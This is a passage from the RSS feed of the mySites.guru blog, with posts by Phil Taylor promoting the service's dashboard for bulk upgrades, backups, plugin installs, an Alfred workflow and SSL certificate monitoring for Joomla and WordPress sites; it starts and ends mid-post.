&lt;li&gt;Select &quot;Generic PHP&quot; and download the connector&lt;/li&gt;
&lt;li&gt;Upload the connector to your server&apos;s &lt;code&gt;/bfnetwork&lt;/code&gt; directory&lt;/li&gt;
&lt;li&gt;Enter your database credentials in the wizard&lt;/li&gt;
&lt;li&gt;Run your first snapshot and audit&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;From there, you can schedule backups, enable uptime monitoring, and set up file change alerts - the same workflow you&apos;d use for a Joomla or WordPress site.&lt;/p&gt;
&lt;p&gt;For a broader look at monitoring strategy across a mixed portfolio, see the &lt;a href=&quot;https://mysites.guru/guides/site-monitoring-alerting-guide/&quot;&gt;site monitoring and alerting guide&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt; to connect your first PHP site and see what mySites.guru finds.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>php</category><category>monitoring</category><category>site management</category><enclosure url="https://mysites.guru/_astro/mySites.guru-REFRESH-BLACK-12.Du0StSCf.webp" length="0" type="image/webp"/></item><item><title>Manage Multiple WordPress Sites Like a Pro</title><link>https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/</guid><description>Practical tips for managing multiple WordPress sites efficiently, covering centralised dashboards, backup strategies, security hardening and team workflows.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Once you&apos;re past about five WordPress sites, the cracks start showing. You forget which ones you&apos;ve updated, backups slip, and you only find out about a security issue when a client asks why their site is redirecting to a pharmacy.&lt;/p&gt;
&lt;p&gt;Here&apos;s what actually works when you&apos;re managing lots of sites, based on over a decade of doing this myself.&lt;/p&gt;
&lt;h2&gt;Get everything into one dashboard&lt;/h2&gt;
&lt;p&gt;Logging into each site individually is the first thing that has to go. You need a single place that shows you update counts, security status, and uptime across every site.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; does this for unlimited WordPress, Joomla, and PHP sites at a flat monthly price. There are other options like ManageWP and MainWP too, but they tend to charge per site, which gets expensive fast when you&apos;re managing hundreds. For a deeper look at what a proper setup covers, see the guide to &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;managing multiple WordPress sites&lt;/a&gt; from a single dashboard.&lt;/p&gt;
&lt;p&gt;Whatever you pick, stop using browser bookmarks as your &quot;management system&quot;.&lt;/p&gt;
&lt;h2&gt;Automate backups&lt;/h2&gt;
&lt;p&gt;Manual backups don&apos;t happen. Everyone says they&apos;ll do them weekly, nobody actually does. Set up &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;automated backup schedules&lt;/a&gt; and forget about them. mySites.guru lets you &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;schedule backups across thousands of sites&lt;/a&gt; using Akeeba Backup or All-In-One Migration.&lt;/p&gt;
&lt;p&gt;The important bit: test your restores occasionally. A backup you&apos;ve never tested is just a file that makes you feel better.&lt;/p&gt;
&lt;h2&gt;Update in bulk&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;Outdated plugins&lt;/a&gt; are the number one way WordPress sites get hacked. That&apos;s not opinion, it&apos;s what I see across the 80,000+ sites connected to mySites.guru.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;Bulk updates&lt;/a&gt; let you push plugin, theme, and core updates to every site at once. You still need to pay attention to what you&apos;re updating, especially major version jumps, but the days of clicking &quot;Update&quot; on each site individually should be behind you. If you want full control, you can also &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disable WordPress automatic updates&lt;/a&gt; across all your sites from the dashboard so nothing changes without your say-so. See the full walkthrough on how to &lt;a href=&quot;https://mysites.guru/bulk-update-wordpress/&quot;&gt;bulk update WordPress sites&lt;/a&gt; if you want the step-by-step detail.&lt;/p&gt;
&lt;h2&gt;Security goes deeper than a plugin&lt;/h2&gt;
&lt;p&gt;Installing Wordfence is fine, but it&apos;s surface-level. Real security means &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;scanning every file in your webspace&lt;/a&gt; for things that shouldn&apos;t be there: &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;backdoors, injected code, modified core files&lt;/a&gt;. If you&apos;re still thinking of site management as just updates and backups, &lt;a href=&quot;https://mysites.guru/blog/site-management-is-about-more-than-just-upgrades-backups-and-uptime-monitoring/&quot;&gt;it covers a lot more ground than that&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You also want &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerts&lt;/a&gt; when files change unexpectedly or someone logs into an admin panel. Finding a hack three months after it happened is significantly worse than catching it the same day. And when you do need to jump in, &lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;one-click admin login&lt;/a&gt; gets you into any site&apos;s admin console without hunting for credentials.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/&quot;&gt;Security headers&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;SSL certificate monitoring&lt;/a&gt; are easy wins that most people skip.&lt;/p&gt;
&lt;h2&gt;Teams need their own logins&lt;/h2&gt;
&lt;p&gt;If your whole agency shares one mySites.guru login, or worse, one WordPress admin password across all client sites, stop. Give everyone &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;their own account&lt;/a&gt; with appropriate permissions. It&apos;s free with mySites.guru and means you can actually see who did what.&lt;/p&gt;
&lt;h2&gt;Audit your sites regularly&lt;/h2&gt;
&lt;p&gt;Not just for SEO. Check for &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice issues&lt;/a&gt;, PHP version compatibility, &lt;a href=&quot;https://mysites.guru/blog/about-the-disk-space-warnings-in-mysites-guru/&quot;&gt;disk space warnings&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/remove-sample-page-hello-world-wordpress-one-click/&quot;&gt;leftover default content like the Sample Page and Hello World post&lt;/a&gt;, and admin customisations like &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;removing the WordPress logo from the admin bar&lt;/a&gt;. The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot runs over 100 checks&lt;/a&gt; on each connected site, twice a day. You can also &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free audit&lt;/a&gt; right now to see what it finds.&lt;/p&gt;
&lt;h2&gt;The short version&lt;/h2&gt;
&lt;p&gt;Get a proper dashboard, automate your backups, update in bulk, scan deep for security issues, and give your team their own access. That&apos;s it. None of this is complicated. The hard part is actually setting it up instead of telling yourself you&apos;ll get to it next week.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;For the complete approach, see our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;agency multi-site management guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>multi-site management</category><category>agency tools</category><category>site management</category><enclosure url="https://mysites.guru/_astro/39.CwEfQbBb.webp" length="0" type="image/webp"/></item><item><title>Upgrade 100s of Sites from One Dashboard</title><link>https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/</guid><description>Run core and extension updates across hundreds of Joomla and WordPress sites from the mySites.guru dashboard.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;One of the most popular reasons for using &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; is being able to upgrade Joomla and WordPress core across all your sites without logging into each one individually. Here&apos;s how the process works: back up, upgrade, verify.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;After logging in, the left menu shows how many &lt;a href=&quot;https://manage.mysites.guru/en/sites/coreoutofdate&quot;&gt;Core Updates&lt;/a&gt; are needed. In this example, 15 sites need a core update (and 59 plugins/extensions, but we&apos;ll focus on core for now).&lt;/p&gt;
&lt;p&gt;Go to the &lt;a href=&quot;https://manage.mysites.guru/en/backups/#schedules&quot;&gt;Scheduled Backups page&lt;/a&gt; and open the &lt;a href=&quot;https://manage.mysites.guru/en/backups/#schedules&quot;&gt;schedules tab&lt;/a&gt;. For Joomla, mySites.guru uses &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;Akeeba Backup&lt;/a&gt; (free or paid, both work). You can back up one site at a time or click &quot;Start Backup Of All Sites&quot; to queue them all at once.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Backups are queued and run in the background - you don&apos;t need to stay on the page. Once you&apos;re happy everything is backed up, move to the upgrades. &lt;em&gt;(Periodically test your restores too - an untested backup is just a file that makes you feel better.)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Open the &quot;&lt;a href=&quot;https://manage.mysites.guru/en/upgrade/sites/en-masse&quot;&gt;Mass Upgrade Sites&lt;/a&gt;&quot; tool. It fetches available upgrade paths from your sites, which takes a few seconds. Select individual sites or click &quot;Select All,&quot; then hit the green button.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Each upgrade is queued in the background and you&apos;re taken to the status page to watch progress. You can do small batches or select everything - that&apos;s your call based on how comfortable you are with the risk.&lt;/p&gt;
&lt;p&gt;Once upgrades are done, &lt;a href=&quot;https://manage.mysites.guru/en/backups/&quot;&gt;run a new backup&lt;/a&gt; and &lt;a href=&quot;https://manage.mysites.guru/en/audits/#scheduleaudits&quot;&gt;start a fresh audit&lt;/a&gt; to verify everything is healthy. You can also &lt;a href=&quot;https://mysites.guru/blog/how-to-automatically-remove-fluff-files-after-joomla-updates/&quot;&gt;remove leftover fluff files from Joomla automatically&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The same process works for WordPress sites not using WordPress&apos;s built-in auto-updates. For a full walkthrough focused on WordPress, see the guide to &lt;a href=&quot;https://mysites.guru/bulk-update-wordpress/&quot;&gt;bulk updating WordPress sites&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Team tip:&lt;/strong&gt; If you&apos;d rather delegate this to someone else, you can &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;add unlimited team members&lt;/a&gt; to your mySites.guru account and assign them the upgrade task.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Bulk updates are covered in detail in our &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;guide to managing updates at scale&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>updates</category><category>bulk actions</category><category>dashboard</category><enclosure url="https://mysites.guru/_astro/upgrade.CQOFij3f.webp" length="0" type="image/webp"/></item><item><title>Test Site Performance With Lighthouse</title><link>https://mysites.guru/blog/how-to-test-your-site-performance-with-lighthouse-audits-in-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-test-your-site-performance-with-lighthouse-audits-in-mysites-guru/</guid><description>Run Google Lighthouse performance audits against any of your connected Joomla or WordPress sites directly from within the mySites.guru dashboard.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;We no longer provide built-in Lighthouse Performance Audits.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Google&apos;s Lighthouse tooling has matured to the point where it no longer makes sense for us to wrap it as a micro-service. You can run the same audits directly through the official &lt;a href=&quot;https://pagespeed.web.dev/&quot;&gt;PageSpeed Insights&lt;/a&gt; service from Google - it&apos;s free, always up to date, and gives you the full Lighthouse report.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Performance auditing is part of our &lt;a href=&quot;https://mysites.guru/guides/site-monitoring-alerting-guide/&quot;&gt;complete site monitoring guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>performance</category><category>lighthouse</category><category>audit tools</category><enclosure url="https://mysites.guru/_astro/Lighthouse-Performance-Audits.DhB_hDjA.webp" length="0" type="image/webp"/></item><item><title>Auto-Upgrade 1000s of Plugins &amp; Extensions</title><link>https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/</guid><description>Update Joomla extensions, WordPress plugins, and CMS cores across all your sites from one mySites.guru dashboard. Select all, click upgrade, done.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We&apos;ve already written about &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;automatic updates for Joomla extensions&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/how-to-automatically-remove-fluff-files-after-joomla-updates/&quot;&gt;removing fluff files after updates&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;managing extensions and plugins&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass upgrading from one dashboard&lt;/a&gt;. Here&apos;s how all of that fits together in practice - and why updates are one of the most-used &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;features&lt;/a&gt; in the dashboard.&lt;/p&gt;
&lt;h2&gt;How do you mass upgrade Joomla and WordPress from one dashboard?&lt;/h2&gt;
&lt;p&gt;Select all your out-of-date Joomla or WordPress sites, click &quot;Start Upgrades For Selected Sites,&quot; and go make a coffee.&lt;/p&gt;
&lt;p&gt;mySites.guru queues each site, downloads the right update package, extracts files on your server, and runs post-install tasks. If you&apos;ve turned on &lt;a href=&quot;https://mysites.guru/blog/how-to-automatically-remove-fluff-files-after-joomla-updates/&quot;&gt;fluff file removal&lt;/a&gt; for Joomla, that happens automatically too.&lt;/p&gt;
&lt;p&gt;Doesn&apos;t matter if it&apos;s one site or a hundred.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;How do you enable auto-updates for any Joomla extension?&lt;/h2&gt;
&lt;p&gt;Any update stream in mySites.guru can be flagged for automatic updates. Say you have &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;Akeeba Backup&lt;/a&gt; installed - when a new version comes out, mySites.guru queues the update without you lifting a finger.&lt;/p&gt;
&lt;p&gt;You can enable this per site, or flip it on across every site that has a given extension. Works with any Joomla extension, not just Akeeba.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;How do you view and apply WordPress plugin updates?&lt;/h2&gt;
&lt;p&gt;On the Manage Site page, you&apos;ll see all available plugin updates for WordPress (and Joomla). Release notes from the developer are right there, and you can apply the update with one click.&lt;/p&gt;
&lt;p&gt;Current versions show in red, available versions in green. You can see the exact upgrade path before you commit to anything.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Pending updates in the sidebar&lt;/h2&gt;
&lt;p&gt;The left menu keeps a running count of extension updates, plugin updates, and core upgrades across all your sites. Quick way to see how much maintenance you&apos;ve got piling up.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Keeping sites current&lt;/h2&gt;
&lt;p&gt;Between mass upgrades, per-extension auto-updates, and the per-site plugin view, there&apos;s no reason for your sites to fall behind. Keeping everything current also reduces your exposure to &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;known plugin vulnerabilities&lt;/a&gt;. You can review the version upgrade path before committing and run post-upgrade cleanup like fluff file removal. For a full walkthrough focused on WordPress, see the guide to &lt;a href=&quot;https://mysites.guru/bulk-update-wordpress/&quot;&gt;bulk updating WordPress sites&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Back up before any upgrade&lt;/h3&gt;
&lt;p&gt;mySites.guru has &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;built-in support for Akeeba Backup and the All-In-One Migration Plugin&lt;/a&gt; (WordPress), so you can take a backup before applying updates - one site or all of them at once.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-amber-900 dark:text-amber-200&quot;&amp;gt;⚠️ Keep in mind&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-amber-800 dark:text-amber-300&quot;&amp;gt;Backing up all sites at once will put temporary load on your servers while the backups run.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;This is part of our &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;guide to managing CMS updates at scale&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>updates</category><category>extensions</category><category>plugins</category><enclosure url="https://mysites.guru/_astro/Automatically-upgrade-1000s-of-Joomla-WordPress-Plugins-.CAvNIAif.webp" length="0" type="image/webp"/></item><item><title>Install Extensions to 1000+ Sites at Once</title><link>https://mysites.guru/blog/install-a-joomla-extension-or-wordpress-plugin-to-1000-sites-with-ease-using-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/install-a-joomla-extension-or-wordpress-plugin-to-1000-sites-with-ease-using-mysites-guru/</guid><description>Install any Joomla extension or WordPress plugin across 1,000 sites in one go using the mySites.guru bulk install tool - no SSH or FTP needed.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you manage dozens or hundreds of Joomla and WordPress sites, installing the same extension one site at a time gets old fast. mySites.guru lets you &lt;strong&gt;push any plugin or extension to unlimited sites in a single action&lt;/strong&gt; - no SSH or FTP required.&lt;/p&gt;
&lt;p&gt;The Mass Package Installer in mySites.guru handles Joomla extensions, plugins, modules, templates, and &lt;a href=&quot;https://mysites.guru/&quot;&gt;WordPress plugins from one dashboard&lt;/a&gt;. You can push an update manually or &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;upgrade across all your sites at once&lt;/a&gt;. When a browser update &lt;a href=&quot;https://mysites.guru/blog/joomla-tinymce-firefox-148-fix/&quot;&gt;breaks the Joomla editor across every version&lt;/a&gt;, this is how you push the hotfix to hundreds of sites in minutes instead of hours.&lt;/p&gt;
&lt;p&gt;For a detailed walkthrough, see the dedicated &lt;a href=&quot;https://mysites.guru/blog/how-to-install-an-extension-to-multiple-joomla-sites-at-once/&quot;&gt;mass plugin installer guide&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Where do I find this tool?&lt;/h2&gt;
&lt;p&gt;Open the main tool finder in mySites.guru and search for &quot;Mass Package Installer.&quot;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Upload a zip file or provide a direct URL to a hosted zip file in step one:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Then select one, two, or all of your connected Joomla and WordPress sites:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Click &quot;Install Extension On Selected Sites&quot; and grab a coffee. mySites.guru queues a background job for each site and works through them while you do something else.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;That&apos;s it.&lt;/p&gt;
&lt;h3&gt;Bonus: filter sites by installed extension&lt;/h3&gt;
&lt;p&gt;Say you want to install the latest Akeeba Backup on every site that already has an older version. Use the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;Extensions feature&lt;/a&gt; in mySites.guru to search for Akeeba:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Then click &quot;filter by these&quot; to jump to the Mass Package Installer with only those sites pre-selected:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Want to see it in action?&lt;/h2&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 aspect-video&quot;&amp;gt;
&amp;lt;iframe width=&quot;100%&quot; height=&quot;100%&quot; src=&quot;https://www.youtube-nocookie.com/embed/YHgTJ2DYOe8&quot; title=&quot;Install an extension to multiple Joomla sites at once&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen loading=&quot;lazy&quot;&amp;gt;&amp;lt;/iframe&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wpbeginner.com/plugins/how-to-bulk-install-your-favorite-plugins-in-wordpress/&quot;&gt;How to Bulk Install Your Favorite Plugins in WordPress&lt;/a&gt; - WPBeginner&apos;s guide to bulk installing plugins on a single WordPress site&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/cli/commands/plugin/install/&quot;&gt;wp plugin install - WP-CLI Command&lt;/a&gt; - Official WP-CLI documentation for installing plugins via the command line&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Installing_an_extension&quot;&gt;Installing an Extension - Joomla! Documentation&lt;/a&gt; - Official Joomla guide to installing extensions on a single site&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>extensions</category><category>plugins</category><category>bulk actions</category><enclosure url="https://mysites.guru/_astro/mySites.guru-REFRESH-BLACK-8.03nRPytu.webp" length="0" type="image/webp"/></item><item><title>Integrate mySites.guru to Alfred Workflow on Mac</title><link>https://mysites.guru/blog/integrate-mysites-guru-to-alfred-workflow-on-mac/</link><guid isPermaLink="true">https://mysites.guru/blog/integrate-mysites-guru-to-alfred-workflow-on-mac/</guid><description>How to integrate mySites.guru with Alfred on macOS so you can jump straight to any connected site&apos;s management page from your keyboard.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You can &lt;a href=&quot;https://manage.mysites.guru/mySites.alfredworkflow&quot;&gt;install our Alfred Workflow&lt;/a&gt; to jump straight to any connected site&apos;s management page from your keyboard.&lt;/p&gt;
&lt;h2&gt;What is Alfred?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.alfredapp.com&quot;&gt;Alfred&lt;/a&gt; is a macOS launcher that gives you fast access to apps, files, web searches, and custom actions via keyboard shortcuts. If you spend a lot of time at your Mac, it&apos;s worth trying - the free version is genuinely useful on its own.&lt;/p&gt;
&lt;p&gt;I have mine mapped to CMD+SPACE.&lt;/p&gt;
&lt;h2&gt;What is an Alfred Workflow?&lt;/h2&gt;
&lt;p&gt;A workflow is essentially a plugin for Alfred - it adds custom commands and actions. You need the &lt;a href=&quot;https://www.alfredapp.com/powerpack/&quot;&gt;Alfred PowerPack&lt;/a&gt; to use workflows, which costs £34 (or £59 for a lifetime licence).&lt;/p&gt;
&lt;p&gt;https://youtu.be/qP0ORBgDHr8&lt;/p&gt;
&lt;h2&gt;How to integrate mySites.guru with Alfred&lt;/h2&gt;
&lt;p&gt;With Alfred and the PowerPack installed, &lt;a href=&quot;https://manage.mysites.guru/mySites.alfredworkflow&quot;&gt;download the workflow&lt;/a&gt; and open it to add it to Alfred. Then:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Press your Alfred shortcut and type &lt;code&gt;my&lt;/code&gt; followed by a space&lt;/li&gt;
&lt;li&gt;You&apos;ll see a list of mySites.guru menu items to choose from&lt;/li&gt;
&lt;li&gt;Select one and hit Enter - your browser opens that page&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;How do you connect your account for full site search?&lt;/h2&gt;
&lt;p&gt;You can also enable public pages in your mySites.guru account to get a token (a string like &lt;code&gt;smk4md33zf223efmg6y3bgbbo7mmeu63&lt;/code&gt; - that one&apos;s fake).&lt;/p&gt;
&lt;p&gt;Do that on the &lt;a href=&quot;https://manage.mysites.guru/en/sites/screenshots&quot;&gt;Public Site Screenshots page&lt;/a&gt;, then edit the workflow in Alfred and paste your token where it says &lt;code&gt;ENTER_TOKEN_HERE&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;With the token configured, you can search your actual sites by name and jump straight to the Manage Site page. For a site called mySites.guru, it&apos;s just:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CMD+SPACE 
my 
SPACE 
mys 
ENTER
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&apos;s it. The &lt;code&gt;mys&lt;/code&gt; filters the site list down to the right result.&lt;/p&gt;
&lt;p&gt;Prefer Raycast over Alfred? We built a &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-raycast-extension-for-mac/&quot;&gt;Raycast extension&lt;/a&gt; too.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Productivity integrations are covered in our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;multi-site management guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>alfred</category><category>mac</category><category>productivity</category><category>workflow</category><enclosure url="https://mysites.guru/_astro/Manage-Your-Joomla-Extensions-2-1.BTg41qU0.webp" length="0" type="image/webp"/></item><item><title>Track SSL Certificate Expirations Easily</title><link>https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/</guid><description>mySites.guru checks every site&apos;s SSL certificate issuer, expiry date and full chain validity on every snapshot, alerting you before they expire.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&amp;lt;div class=&quot;not-prose rounded-lg border border-neutral-200 dark:border-neutral-700 bg-neutral-50 dark:bg-neutral-800/50 p-4 flex gap-3 items-start text-sm&quot;&amp;gt;
&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; viewBox=&quot;0 0 512 512&quot; class=&quot;w-5 h-5 shrink-0 fill-neutral-500 dark:fill-neutral-400 mt-0.5&quot;&amp;gt;&amp;lt;path d=&quot;M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464a256 256 0 1 0 0-512 256 256 0 1 0 0 512zM216 336l-24 0 0 48 128 0 0-48-32 0 0-112-96 0 0 48 48 0 0 64-24 0zm72-144l0-64-64 0 0 64 64 0z&quot;/&amp;gt;&amp;lt;/svg&amp;gt;
&amp;lt;p class=&quot;text-neutral-700 dark:text-neutral-300 m-0&quot;&amp;gt;The screenshots below are from an older version of the interface. We&apos;ve since redesigned the dashboard, but the process works the same way.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;mySites.guru has checked SSL certificates on every site snapshot &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;since 2012&lt;/a&gt;. It&apos;s one of those features that runs quietly in the background - you only notice it when something goes wrong and it catches the problem before your clients do.&lt;/p&gt;
&lt;p&gt;When we snapshot your Joomla or WordPress site as part of our &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit&lt;/a&gt;, we download the active SSL certificate the same way a browser would. We check the SSL issuer, expiration date, and the full certificate validation chain to make sure all intermediate certificates are also valid.&lt;/p&gt;
&lt;p&gt;SSL has a lot going on under the hood. We check the ciphers in use and the minimum encryption level your server accepts. If your site allows insecure encryption methods, we&apos;ll alert you by email.&lt;/p&gt;
&lt;p&gt;We also distinguish &lt;a href=&quot;https://cpanel.net&quot;&gt;cPanel&lt;/a&gt; and &lt;a href=&quot;https://letsencrypt.org&quot;&gt;Let&apos;s Encrypt SSL Certificates&lt;/a&gt; as these are normally web host provided and auto-renewed without user intervention, these are shown with custom icons on your dashboard.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Why are short expiration dates now standard?&lt;/h2&gt;
